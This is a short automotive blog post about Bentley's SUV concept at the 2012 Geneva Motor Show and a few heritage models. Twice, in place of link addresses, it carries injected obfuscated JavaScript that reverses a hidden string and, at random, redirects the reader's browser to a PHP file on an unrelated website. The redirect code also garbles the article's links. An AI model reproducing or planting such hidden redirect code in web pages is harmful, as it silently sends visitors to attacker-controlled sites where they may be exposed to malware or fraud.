Opening day at the Geneva Motor Show offered its traditional fare of glamorous supercars and luxurious cruisers. And $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/ontheroad/geneva-motor-show-2012-opening-day-c-through-p/” target=”_blank”>a Bentley SUV. How Porsche must have giggled in the sidelines, knowing what feedback the marque would receive in the ensuing weeks and months. They’ve been through it all with the Cayenne.
Now seems as good a time as any then for some company heritage courtesy of Bentley Kuwait. There’s the EXP2, for example, one of the marque’s earliest production models from 1919 and capable of a (frankly terrifying considering its delicacy) 145kph. Then there’s the Speed 8, a Le Mans Prototype which brought Bentley back to the historic endurance event in 2001 after an absence of 73 years before taking victory in 2003. Rounding out the tour, given $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/ontheroad/bentley-mulsanne-mulliner-assembling-the-driveing-specification/” target=”_blank”>Bentley’s characteristic attention to detail and luxury, there’s the Continental GTC.
There may just be room for the EXP9F yet. After all, a facelift is already on the agenda.
